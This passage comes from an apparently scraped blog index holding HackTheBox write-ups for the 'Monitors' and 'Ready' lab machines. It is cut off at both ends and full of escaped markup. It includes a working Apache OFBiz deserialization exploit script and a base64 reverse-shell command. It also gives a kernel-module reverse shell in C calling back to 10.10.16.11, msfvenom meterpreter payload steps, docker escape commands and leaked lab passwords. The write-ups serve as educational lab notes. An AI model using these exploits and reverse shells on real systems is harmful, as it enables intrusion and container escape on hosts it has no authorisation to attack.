\u0026#39;blog_charset\u0026#39; ), $charset ); } // Now that mb_convert_encoding() has been given a swing, we need to escape these three. $title = wp_slash( $title ); $excerpt = wp_slash( $excerpt ); $blog_name = wp_slash( $blog_name ); if ( is_single() || is_page() ) { $tb_id = $posts[0]-\u0026gt;ID; } if ( ! isset( $tb_id ) || ! intval( $tb_id ) ) { trackback_response( 1, __( \u0026#39;I really need an ID for this to work.\u0026#39; ) ); } if ( empty( $title ) \u0026amp;\u0026amp; empty( $tb_url ) \u0026amp;\u0026amp; empty( $blog_name ) ) { // If it doesn\u0026#39;t look like a trackback at all. wp_redirect( get_permalink( $tb_id ) ); exit; } if ( ! empty( $tb_url ) \u0026amp;\u0026amp; ! empty( $title ) ) { /** * Fires before the trackback is added to a post. * * @since 4.7.0 * * @param int $tb_id Post ID related to the trackback. * @param string $tb_url Trackback URL. * @param string $charset Character Set. * @param string $title Trackback Title. * @param string $excerpt Trackback Excerpt. * @param string $blog_name Blog Name. */ do_action( \u0026#39;pre_trackback_post\u0026#39;, $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name ); header( \u0026#39;Content-Type: text/xml; charset=\u0026#39; . get_option( \u0026#39;blog_charset\u0026#39; ) ); if ( ! pings_open( $tb_id ) ) { trackback_response( 1, __( \u0026#39;Sorry, trackbacks are closed for this item.\u0026#39; ) ); } $title = wp_html_excerpt( $title, 250, \u0026#39;\u0026amp;#8230;\u0026#39; ); $excerpt = wp_html_excerpt( $excerpt, 252, \u0026#39;\u0026amp;#8230;\u0026#39; ); $comment_post_ID = (int) $tb_id; $comment_author = $blog_name; $comment_author_email = \u0026#39;\u0026#39;; $comment_author_url = $tb_url; $comment_content = \u0026#34;\u0026lt;strong\u0026gt;$title\u0026lt;/strong\u0026gt;\\n\\n$excerpt\u0026#34;; $comment_type = \u0026#39;trackback\u0026#39;; $dupe = $wpdb-\u0026gt;get_results( $wpdb-\u0026gt;prepare( \u0026#34;SELECT * FROM $wpdb-\u0026gt;comments WHERE comment_post_ID = %d AND comment_author_url = %s\u0026#34;, $comment_post_ID, $comment_author_url ) ); if ( $dupe ) { trackback_response( 1, __( \u0026#39;We already have a ping from that URL for this post.\u0026#39; ) ); } $commentdata = compact( \u0026#39;comment_post_ID\u0026#39;, \u0026#39;comment_author\u0026#39;, \u0026#39;comment_author_email\u0026#39;, \u0026#39;comment_author_url\u0026#39;, \u0026#39;comment_content\u0026#39;, \u0026#39;comment_type\u0026#39; ); $result = wp_new_comment( $commentdata ); if ( is_wp_error( $result ) ) { trackback_response( 1, $result-\u0026gt;get_error_message() ); } $trackback_id = $wpdb-\u0026gt;insert_id; /** * Fires after a trackback is added to a post. * * @since 1.2.0 * * @param int $trackback_id Trackback ID. */ do_action( \u0026#39;trackback_post\u0026#39;, $trackback_id ); trackback_response( 0 ); } Tried crafting parameters — nothing worked no matter what..\nAfter another hour or so of wandering around, going from manual attempts to SecLists/Fuzzing/LFI, finally a breakthrough.\nIn the information of some process, found a very suspicious point: large amounts of attack payloads —\nIt had to be another virtual host!\n# /proc/self/cmdline\t/usr/sbin/apache2-kstart # /etc/php/7.2/apache2/php.ini No useful information # /etc/apache2/sites-available/000-default.conf # Default virtual host settings # Add monitors.htb.conf # Add cacti-admin.monitors.htb.conf A Winding Path to the Goal http://cacti-admin.monitors.htb/\nGot straight in with the password just collected; OSINT led to https://www.exploit-db.com/exploits/49810\nOne shot!\nPrivilege Escalation After getting a low-privilege shell, what should we do?\nscript -c \u0026#34;/bin/bash -i\u0026#34; /dev/null Dig through the database Dig through files (/root, /etc, /opt, /home, etc. Check ports, check ports Password 2 define( \u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;password_here\u0026#39; ); define( \u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;BestAdministrator@2020!\u0026#39; ); case \u0026#39;DB_PASSWORD\u0026#39;: define( \u0026#39;DB_PASSWORD\u0026#39;, $pwd ); #$rdatabase_password = \u0026#39;cactiuser\u0026#39;; $database_password = \u0026#39;cactipass\u0026#39;; A few fairly important findings from LinPeas.sh\nroot 1634 0.0 2.0 975760 81096 ? Ssl 04:51 0:07 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock root 2078 0.0 0.0 554520 3988 ? Sl 04:51 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -contain--More--er-ip 172.17.0.2 -container-port 8443 Followed up with ps auxwwf\n# root 1332 0.0 1.1 978804 47292 ? Ssl 04:51 0:05 /usr/bin/containerd root 2087 0.0 0.1 108820 4884 ? Sl 04:51 0:02 \\_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/f59187dde17d70e801bf3159d045870d5e0a219f8be3ec37cd9601740870211d -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc root 2116 0.0 2.0 3410072 83724 ? Ssl 04:51 0:35 \\_ /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.gradle.wrapper.GradleWrapperMain --offline ofbiz root 2263 0.5 7.4 3492168 300956 ? Ssl 04:51 3:59 \\_ /usr/local/openjdk-8/bin/java -XX:MaxPermSize=256m -XX:+HeapDumpOnOutOfMemoryError -Xmx1024m -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /root/.gradle/wrapper/dists/gradle-3.2.1-bin/erlz51pt56t1o6vc7t39cikug/gradle-3.2.1/lib/gradle-launcher-3.2.1.jar org.gradle.launcher.daemon.bootstrap.GradleDaemon 3.2.1 root 2402 0.4 17.0 3592008 684064 ? Sl 04:52 2:49 \\_ /usr/local/openjdk-8/bin/java -Xms128M -Xmx1024M -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /usr/src/apache-ofbiz-17.12.01/build/libs/ofbiz.jar org.apache.ofbiz.base.start.Start # root 1634 0.0 2.0 975760 81096 ? Ssl 04:51 0:07 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock root 2078 0.0 0.0 554520 3988 ? Sl 04:51 0:00 \\_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443 Noticed the version number [apache-ofbiz-17.12.01], highly suspected CVE-2020-9496) — let\u0026rsquo;s try forwarding that port out.\nPort Forwarding? — Failed portfwd add -l 8443 -p 8443 -r 10.10.10.238 Port forwarding failed completely. I was going crazy — until I remembered it: python. Did a quick test and, surprisingly, no error! Then let\u0026rsquo;s hit it with request!\n$ python -c \u0026#34;import requests\u0026#34; The module was actually installed, so let\u0026rsquo;s begin\nApache OFbiz RCE.py\nimport requests data = \u0026#39;\u0026#39;\u0026#39;rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/xxx+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABvPK/rq+xxxxxxxx+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+xxxx==\u0026#39;\u0026#39;\u0026#39; xml = \u0026#39;\u0026#39;\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;methodCall\u0026gt; \u0026lt;methodName\u0026gt;ProjectDiscovery\u0026lt;/methodName\u0026gt; \u0026lt;params\u0026gt; \u0026lt;param\u0026gt; \u0026lt;value\u0026gt; \u0026lt;struct\u0026gt; \u0026lt;member\u0026gt; \u0026lt;name\u0026gt;test\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt; \u0026lt;serializable xmlns=\u0026#34;http://ws.apache.org/xmlrpc/namespaces/extensions\u0026#34;\u0026gt;{}\u0026lt;/serializable\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/member\u0026gt; \u0026lt;/struct\u0026gt; \u0026lt;/value\u0026gt; \u0026lt;/param\u0026gt; \u0026lt;/params\u0026gt; \u0026lt;/methodCall\u0026gt;\u0026#39;\u0026#39;\u0026#39;.format(data) headers = {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/xml\u0026#39;} resp=requests.post(\u0026#39;https://127.0.0.1:8443/webtools/control/xmlrpc\u0026#39;, headers=headers, data=xml, verify=False) print(resp.content) print(\u0026#39;done\u0026#39;) Got access inside the docker\nChecked the processes — nothing else there\nroot@ca96528cc0ea:/opt# ps auxwwf ps auxwwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 2.4 3410072 98780 ? Ssl 11:29 0:10 /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.gradle.wrapper.GradleWrapperMain --offline ofbiz root 30 0.7 7.8 3504140 313576 ? Ssl 11:29 1:24 /usr/local/openjdk-8/bin/java -XX:MaxPermSize=256m -XX:+HeapDumpOnOutOfMemoryError -Xmx1024m -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /root/.gradle/wrapper/dists/gradle-3.2.1-bin/erlz51pt56t1o6vc7t39cikug/gradle-3.2.1/lib/gradle-launcher-3.2.1.jar org.gradle.launcher.daemon.bootstrap.GradleDaemon 3.2.1 root 60 1.0 17.2 3582836 691320 ? Sl 11:30 1:52 \\_ /usr/local/openjdk-8/bin/java -Xms128M -Xmx1024M -Dfile.encoding=UTF-8 -Duser.country -Duser.language=en -Duser.variant -cp /usr/src/apache-ofbiz-17.12.01/build/libs/ofbiz.jar org.apache.ofbiz.base.start.Start root 159 0.0 0.0 5488 3264 ? S 14:22 0:00 \\_ bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMS84MCAwPiYx}|{base64,-d}|{bash,-i} root 163 0.0 0.0 5620 3592 ? S 14:22 0:00 \\_ bash -i root 164 0.0 0.0 5752 3628 ? S 14:22 0:00 \\_ bash -i root 183 0.0 0.0 9392 3128 ? R 14:37 0:00 \\_ ps auxwwf Considered a docker escape — condensed into a single command with grep to check whether the container had excessive capabilities\ncapsh --print|grep -iE \u0026#34;CAP_SYS_ADMIN|CAP_SYS_PTRACE|CAP_SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE\u0026#34; There was output, proving this was a container with abused privileges.\nExploitation reference: this\ninsmod/rmmod\ninsmod\nRequires the absolute path of the module; unlike modprobe, insmod also does not load the dependencies of the module being loaded.\nUsage: insmod drv.ko\nrmmod\nOnly needs the module\u0026rsquo;s name to unload the module; likewise it does not unload the dependencies of the module being unloaded.\nUsage: rmmod drv.ko\nlsmod:\nShows the modules already loaded into the system\nreverse-shell.c\n#include \u0026lt;linux/kmod.h\u0026gt; #include \u0026lt;linux/module.h\u0026gt; MODULE_LICENSE(\u0026#34;GPL\u0026#34;); MODULE_AUTHOR(\u0026#34;AttackDefense\u0026#34;); MODULE_DESCRIPTION(\u0026#34;LKM reverse shell module\u0026#34;); MODULE_VERSION(\u0026#34;1.0\u0026#34;); char* argv[] = {\u0026#34;/bin/bash\u0026#34;,\u0026#34;-c\u0026#34;,\u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.11/81 0\u0026gt;\u0026amp;1\u0026#34;, NULL}; static char* envp[] = {\u0026#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34;, NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO \u0026#34;Exiting\\n\u0026#34;); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); Makefile\nobj-m +=reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean Uploaded it, then compiled and loaded the module in one go\nmake make -C /lib/modules/4.15.0-142-generic/build M=/root modules insmod reverse-shell.ko # tips rmmod reverse-shell.ko lsmod rooted!\nRetrospective One great thing about this target machine is that its gradient (differentiation) is very clear: from (1) directory scanning, (2) public exploit searching, (3) basic information gathering (apache2 same-site configuration), (4) paying attention to anomalies for further privilege escalation, (5) docker escape techniques, and more — there\u0026rsquo;s a lot to learn. It truly deserves full marks!\nWhen directory scanning, shouldn\u0026rsquo;t**/wp-content/plugins/wp-with-spritz/**have been scanned recursively? Actually, why did the directory scan find wp-with-spritz? After all, the wordlist DirBuster\\directory-list-lowercase-2.3-medium.txt doesn\u0026rsquo;t contain the keyword spritz. Turns out, it was directory listing!\nhttp://monitors.htb/wp-content/plugins/\nSo there was really no need to scan them one by one.\nFor OSINT information gathering I initially used bing — so bad.. Google is just better! apache2\u0026rsquo;s default configuration directory: /etc/apache2/sites-available/000-default.conf https://serversforhackers.com/c/configuring-apache-virtual-hosts\nNow let\u0026rsquo;s look at what\u0026rsquo;s inside the /etc/apache2 directory. Earlier we found the sites-enabled directory in apache2.conf, and under /etc/apache2 there is also a sites-available directory — what is stored there? In fact, the real configuration files live there, while the sites-enabled directory only holds symbolic links pointing to files here; you can verify this with ls /etc/apache2/sites-enabled/. So if multiple virtual hosts are configured on apache, each virtual host\u0026rsquo;s configuration file goes under sites-available, which makes disabling and enabling virtual hosts very convenient: when you create a link under sites-enabled pointing to a virtual host\u0026rsquo;s configuration file, you have enabled it; to shut down a virtual host, you simply delete the corresponding link — no need to touch the configuration files at all.————————————————\nCopyright notice: this is an original article by CSDN blogger 「Yuan Qiyang」, released under the CC 4.0 BY-SA license; please attach the original source link and this notice when reproducing it.\nOriginal link: https://blog.csdn.net/weixin_40704661/article/details/80912943\n**Is Apache2 different from httpd?\n**SEE:https://askubuntu.com/questions/248404/is-there-any-difference-between-apache2-and-httpd httpd is the same as apache2. It depends on the OS you use. For example in RHEL 6.2 it is called httpd and in Ubuntu it is called apache2.\nThe same thing.\nWhat is DSS ssh-dss AAAAB3NzaC1kc3MAAACBALx1l23pjSSlRr8y/hbY+KT6CpZeesN8qEHWIuej769+Fc6JwK8J988guMEUYfI/G+vFEvEoeGwBO7GF4TYX+Biu51DFe/lbezW9pBsp6nQC1EW23z6Gj0S0kCh5itnAcfE+56PlnxVvxcolRS0tsX0hDz6W32nRKRpLpzp/2frRAAAAFQCfXR0Bqpjct8PhqnrECm5wCKQ9jQAAAIEAr9drmVrffOCJWfTqlKqToDiLnF4J1IGzJutccKQaggo7rXfghZV99YJIDx3Vne2aUaPZefoJUg+1Op+wr+DTbBbR8Q6002HsmHeiYJT0m9Grlolq0TT8WjIAnojEVI+9ykQPz6AoD4yD5vZuPjXqJRH67lqxLi4cBgnqhsjK7FUAAACAFUpIT3rg6vkUWZg8cgCJ8s6Cc+oOaMk3WN93/4o/BVH6MsZzIwUZxq9tfquh4iDQqC+Yfq/sTqzog68O7r+YxHoDSKGIj6qdMCLKzYWiPykIHKtkhphngpFsw1QhDjIKAntqmJ6Oclr2m6QgFyf8hj+zV6zvvCs5IpgmomMaDxQ= root@monitor An asymmetric encryption scheme similar to rsa; you can generate keys with ssh-keygen -t dsa — the result after generation is shown in the figure:\nHow to escalate from**www-data**to a real user Search for usable credentials via the hidden directory .backup/ under the home directory\nRefs https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout https://docs.docker.com/engine/api/v1.40/#operation/ContainerList https://gist.github.com/wifisecguy/fbfcb1a9683130923940e439e94891b9 https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities https://z3ratu1.github.io/Docker%20Escape.html https://www.cnblogs.com/klb561/p/9236420.html https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd https://raidforums.com/Thread-Tutorial-Monitors-WriteUp ","permalink":"https://www.unc.la/en/posts/penetration/mn7wim/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1621958856114-9052a0b2-aa45-4b8f-97cc-e1f03711712a.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1621958876304-66a00401-34fc-4c4e-a0a9-1958f03c31c7.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003cp\u003eNmap\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eNmap scan report for Monitors.HTB (10.10.10.238)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eHost is up (0.30s latency).\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003ePORT   STATE SERVICE VERSION\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e| ssh-hostkey:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_http-generator: WordPress 5.5.1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e| http-methods:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_  Supported Methods: GET HEAD POST OPTIONS\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_http-server-header: Apache/2.4.29 (Ubuntu)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e|_http-title: Welcome to Monitor \u0026amp;#8211; Taking hardware monitoring seriously\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eWordPress version 5.5.1\u003c/code\u003e — registration is not allowed\u003c/p\u003e","title":"HackTheBox: Monitors Notes"},{"content":"Entry Point Nmap\nhttp://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE) How do you get the GitLab version? — According to https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab, we know that:\nRegister a user, log in, and you can see the version\nSearch for it, and there\u0026rsquo;s an exploit:\nhttps://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py\nSuccessfully got a shell as the git user\nPrivilege Escalation version: \u0026#39;2.4\u0026#39; services: web: image: \u0026#39;gitlab/gitlab-ce:11.4.7-ce.0\u0026#39; restart: always hostname: \u0026#39;gitlab.example.com\u0026#39; environment: GITLAB_OMNIBUS_CONFIG: | external_url \u0026#39;http://172.19.0.2\u0026#39; redis[\u0026#39;bind\u0026#39;]=\u0026#39;127.0.0.1\u0026#39; redis[\u0026#39;port\u0026#39;]=6379 gitlab_rails[\u0026#39;initial_root_password\u0026#39;]=File.read(\u0026#39;/root_pass\u0026#39;) networks: gitlab: ipv4_address: 172.19.0.2 ports: - \u0026#39;5080:80\u0026#39; #- \u0026#39;127.0.0.1:5080:80\u0026#39; #- \u0026#39;127.0.0.1:50443:443\u0026#39; #- \u0026#39;127.0.0.1:5022:22\u0026#39; volumes: - \u0026#39;./srv/gitlab/config:/etc/gitlab\u0026#39; - \u0026#39;./srv/gitlab/logs:/var/log/gitlab\u0026#39; - \u0026#39;./srv/gitlab/data:/var/opt/gitlab\u0026#39; - \u0026#39;./root_pass:/root_pass\u0026#39; privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16 Digging further\nλ msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.16.34 lport=443 -f elf -o r_443.elf D:/metasploit-framework/embedded/lib/ruby/gems/2.6.0/gems/rex-core-0.1.13/lib/rex/compat.rb:376: warning: Win32API is deprecated after Ruby 1.9.1; use fiddle directly instead [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 123 bytes Final size of elf file: 207 bytes Saved as: r_443.elf Set up a listener\nmsf6 \u0026gt; use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) \u0026gt; msf6 exploit(multi/handler) \u0026gt; msf6 exploit(multi/handler) \u0026gt; set payload linux/x86/meterpreter/reverse_tcp payload =\u0026gt; linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) \u0026gt; set lhost 10.10.16.34 lhost =\u0026gt; 10.10.16.34 msf6 exploit(multi/handler) \u0026gt; set lport 443 lport =\u0026gt; 443 msf6 exploit(multi/handler) \u0026gt; run YG65407Bjqvv9A0a8Tm_7w\nNo ideas for now,,,\nIn the /opt directory, a global grep -r -i pass turned up the following:\ngitlab_rails[\u0026#39;smtp_password\u0026#39;] = \u0026#34;wW59U!ZKMbG9+*#h\u0026#34;\tBy checking /proc/1/cgroup, I confirmed that the current environment is inside Docker, so I considered a docker escape approach (see https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout):\ncgroups stands for \u0026ldquo;control groups\u0026rdquo;. This is a Linux feature originally designed to isolate resource usage, and it also serves to isolate containers in Docker. You can tell whether you are inside a container by checking the control group of the init process at /proc/1/cgroup.\n(1) If you are not inside a container, the control group should be /, as shown on the right in the figure below\n(2) On the other hand, if you are inside a container, you should see /docker/CONTAINER_ID, as shown on the left in the figure below\nSee: https://funphishing.github.io/2021/01/17/HackTheBox-Ready/\nPrivilege escalation successful!\nThis is a Yuque card, click the link to view\nReflections Fast Scanning ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.220 | grep ^[0-9] | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) nmap -p$ports -sC -sV -oA ready 10.10.10.220 But I think in real engagements, just running what\u0026rsquo;s inside the parentheses is more practical:\nnmap -p- --min-rate=1000 -T4 10.10.10.220 | grep ^[0-9] | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$// A Friendlier Shell A generic shell upgrade:\nscript -c \u0026#34;/bin/bash -i\u0026#34; /dev/null or python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ Docker Escape Notes (1) Mounted docker socket The Docker socket is mounted into the container, which allows the container to interact with the machine arbitrarily\nSee: https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#mounted-docker-socket\n# List images to use one docker images # Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash # For other locations, use -H unix:///path/to/docker.sock Running docker ps is enough to tell\n(2) \u0026ndash;privileged flag This is probably the most classic docker escape. First, docker needs to run in privileged mode: when docker run is given the \u0026lt;font style=\u0026quot;color:rgb(85, 85, 85);background-color:rgb(238, 238, 238);\u0026quot;\u0026gt;--privileged\u0026lt;/font\u0026gt; flag, the container gains root privileges on the host. Its biggest intended use in the design was probably to allow spawning containers inside that container. Because of its privileges, this type of docker can see devices such as the disks on the host and allows remounting directories; use the fdisk -l command to list disk files — a non-\u0026lt;u\u0026gt;\u0026lt;font style=\u0026quot;color:rgb(85, 85, 85);\u0026quot;\u0026gt;privileged\u0026lt;/font\u0026gt;\u0026lt;/u\u0026gt; docker cannot see the disks.\nTherefore, the most common escape technique for a privileged container is mounting the host\u0026rsquo;s root directory into the container, gaining arbitrary file read/write on the host, and completing the escape by modifying files such as \u0026lt;font style=\u0026quot;color:rgb(85, 85, 85);\u0026quot;\u0026gt;crontab\u0026lt;/font\u0026gt; or root\u0026rsquo;s \u0026lt;font style=\u0026quot;color:rgb(85, 85, 85);\u0026quot;\u0026gt;authorized_keys\u0026lt;/font\u0026gt;\n# List disk files via the mounting command; a non-privileged docker cannot see the disks fdisk -l If running fdisk -l produces output, it is a privileged container; otherwise it is a non-privileged docker\nExploiting it is then very simple:\nfdisk -l mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola cd /mnt/hola Just modify the files... (3) Container Capabilities — excessive container privileges You can check currently container capabilities with:\ncapsh --print if it has any of the following ones, you might be able to scape from it:\nCAP_SYS_ADMIN,CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE\nCAP_SYS_ADMIN CAP_SYS_PTRACE CAP_SYS_MODULE DAC_READ_SEARCH DAC_OVERRIDE Combine into a single command with grep:\ncapsh --print|grep -iE \u0026#34;CAP_SYS_ADMIN|CAP_SYS_PTRACE|CAP_SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE\u0026#34; If there is no output, the container is not one with abused privileges.\nExploitation\nFirst, analyze this command:\nsed -n \u0026#39;s/.*\\perdir=\\([^,]*\\).*/\\1/p\u0026#39; /etc/mtab It will print the physical location of the docker container on the host, for example:\nroot@e5871b579f57:/tmp# sed -n \u0026#39;s/.*\\perdir=\\([^,]*\\).*/\\1/p\u0026#39; /etc/mtab /var/lib/docker/overlay2/cfd00f89faf865bca3f8a2090d285c93a07c50ee2076cee71be98e08022cfcf8/diff Refs privilege-escalation/docker-breakout Docker SYS_ADMIN Container Escape Principle Analysis - FreeBuf Docker escape ","permalink":"https://www.unc.la/en/posts/penetration/rnw6fb/","summary":"\u003ch1 id=\"entry-point\"\u003eEntry Point\u003c/h1\u003e\n\u003cp\u003eNmap\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003ehttp://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHow do you get the GitLab version? — According to \u003ca href=\"https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab\"\u003ehttps://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab\u003c/a\u003e, we know that:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" 